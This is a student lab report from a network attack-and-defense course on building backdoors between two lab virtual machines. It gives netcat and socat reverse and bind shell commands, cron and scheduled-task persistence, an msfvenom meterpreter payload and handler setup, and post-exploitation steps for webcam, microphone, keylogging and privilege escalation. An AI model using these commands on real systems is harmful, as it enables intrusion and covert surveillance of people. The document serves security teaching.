2018-2019-2 《网络对抗技术》Exp2 后门原理与实践 20165222

Exp2 后门原理与实践

实验环境

win7ip地址为： 192.168.136.130

kali.ip地址为： 192.168.136.129

两台虚拟机可以ping通

实验步骤

1，使用netcat获取主机操作Shell，cron启动

（1）使用WIN7进行监听，kali反弹连接。WIN7中输入ncat.exe -l -p 5222，获取监听。

kali中输入nc 192.168.136.130 5222 -e /bin/sh，与WIN7进行连接，WIN7获得kali的shell。

反过来，kali监听win7也可以。

linux监听，输入命令 nc -l -p 5222.

win7去反弹连接，在ncat目录下输入ncat.exe -e cmd.exe 192.168.136.129 5222.

（2）cron启动时让linux受害者去定时反弹连接win7。

crontab -e增加一条定时任务。

格式如下：

m分钟 h小时 dom日期 mon月 dow周几 command执行的命令
* * * * * +执行什么指令（包含在哪）。

该实验中我的如下：

结果如下：在10：01时，kali中无任何操作，但WIN7已经连接上kali的shell。

2.使用socat获取主机操作Shell, 任务计划启动

在WIN7控制面板>系统和安全>计划任务>创建任务。在触发器栏开始任务选择工作站锁定时，操作栏选择socat.exe路径，在添加参数一栏中写tcp-listen:5222 exec:cmd.exe,pty,stderr，把cmd.exe绑定到端口5222，同时把cmd.exe的stderr重定向到stdout上，确定，然后运行，锁定弹出的任务栏。

在kali中输入：socat - tcp:192.168.136.130:5222，可得到WIN7shell。

3.使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell。

在kali中用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.129 LPORT=5222 -f exe > 20165222_backdoor.exe生成可执行文件。

先在WIN7中用ncat -l 5222> 20165222backdoor.exe准备将接受文件写入 20165222backdoor.exe。

再到kali中用ncat -nv 192.168.136.130 5222 < 20165222_backdoor.exe传过去。

接下来就要开始操作了。

在kali中输入msfconsole，开始使用MSF。

然后依次输入

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.136.129 //为kali的IP!
set LPORT 5222 //后门程序里的端口号
show options
exploit

开始监听。

WIN7运行后门程序，即可建立连接。

4.使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权。

抓屏：screenshot；获取音频：record_mic；获取摄像头或录像：webcam_snap/webcam_stream.

检查是否是虚拟机：info post/windows/gather/checkvm

可见是虚拟机

键盘录入：run post/windows/capture/keylog_recorder

权限提升：getsystem，查看权限：getuid。

图中已经成为管理员。

基础问题回答

例举你能想到的一个后门进入到你系统中的可能方式？

1，捆绑在某些软件内。运行该软件时，后门也跟着运行，比如可能存在的某些杀毒软件。

2，系统自带。

例举你知道的后门如何启动起来(win及linux)的方式？

1，通过修改注册表开机自动启动。

2，跟随软件运行时启动。

3，配置任务计划等到一定时间自动启动。

Meterpreter有哪些给你映像深刻的功能？

拍照功能。

如何发现自己有系统有没有被安装后门？

看进程的话，后门程序本身就能捆绑到其他进程上，所以我认为应用抓包的方法，如果看到一些奇奇怪怪的包，可能被装了后门程序。

实验总结与体会

这次实验的话，前四项都比较简单，只要知道有这个东西，就算忘记了命令，查一下也能弄出来，其中MSF相当好玩，有空多去研究一下。而加分项就比较麻烦了，至少我到现在都没弄出来。还有一个比较重要的是，我感觉我要先把摄像头驱动给删了或者把摄像头给挡了，以后要用到再安装，用完就删。最好以后再把win10自带的系统进程，任务服务器，注册表，文件服务等东西记一下，去学习弄个脚本或者其他东西每次开机把非系统进程全部XX掉，抓包就算了，难分析。